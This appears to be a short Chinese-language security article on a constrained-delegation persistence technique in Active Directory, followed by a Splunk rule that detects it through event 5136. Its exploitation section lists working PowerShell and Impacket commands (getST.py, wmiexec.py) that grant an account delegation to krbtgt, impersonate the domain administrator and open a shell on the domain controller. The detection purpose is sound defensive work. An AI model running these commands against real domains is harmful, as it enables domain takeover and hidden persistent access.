01、简介

 假设服务账号配置了到域控的约束性委派,当攻击者获取了服务账号,可以作为变种黄金票据,用作后门权限维持。

 基于AD Event日志监测msDS-AllowedToDelegateTo属性的修改,从而发现可疑的约束委派攻击。

02、利用方式

(1)通过powershell添加test用户到krbtgt的约束委派

Import-Module ActiveDirectory
$user = Get-ADUser test
Set-ADObject $user -Add @{"msDS-AllowedToDelegateTo"=@("krbtgt/evil.com")}

(2)获取域控权限

python getST.py -dc-ip 192.168.44.136 -spn krbtgt -impersonate administrator evil.com/test:abc123!
set KRB5CCNAME=administrator.ccache
python wmiexec.py -no-pass -k administrator@win-dc01 -dc-ip 192.168.44.136

 

03、检测方法

攻击手法的核心点在于攻击者需要修改msDS-AllowedToDelegateTo属性,因此我们只需要检测对msDS-AllowedToDelegateTo属性的修改,可以通过5136日志来监控。

5136事件:每次修改 Active Directory 对象时,都会生成此事件,包含帐户名称、目录服务对象名称、属性和操作类型。

安全规则:

index=ad EventCode=5136 "LDAP 显示名称"="msDS-AllowedToDelegateTo"
| rename 类型 as type | eval type=mvindex(type,1)
| stats min(_time) as start_time max(_time) as end_time count by ComputerName user DN type
| eval start_time=strftime(start_time,"%Y-%m-%d %H:%M:%S")| eval end_time=strftime(end_time,"%Y-%m-%d %H:%M:%S") | eval message="在"+start_time+"到"+end_time+"时间内,服务器:"+ComputerName +"疑似遭受约束委派攻击"+count+"次,操作账号:"+user+" 操作对象:"+DN+" 操作类型:"+type
| table start_time end_time user message

效果如下: